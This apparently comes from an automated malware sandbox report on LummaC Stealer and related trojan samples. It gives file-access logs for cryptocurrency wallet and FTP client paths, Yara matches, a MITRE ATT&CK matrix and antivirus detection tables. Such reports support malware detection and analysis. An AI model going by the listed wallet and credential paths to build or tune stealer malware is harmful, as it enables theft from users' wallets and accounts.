Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Directory queried: number of queries: 1001

Source: Yara match	File source: 00000009.00000003.2592210223.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2591618235.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2591861474.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 623cea31e9.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0a60e3a257.exe PID: 6856, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 623cea31e9.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0a60e3a257.exe PID: 6856, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EDEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_00EDEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EDDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_00EDDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	12 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	112 Process Injection	111 Deobfuscate/Decode Files or Information	LSASS Memory	21 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	245 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	23 Software Packing	NTDS	971 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	12 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	371 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	56%	Virustotal		Browse
file.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	67%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	67%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	67%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	67%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	47%	ReversingLabs	Win32.Infostealer.Tinba

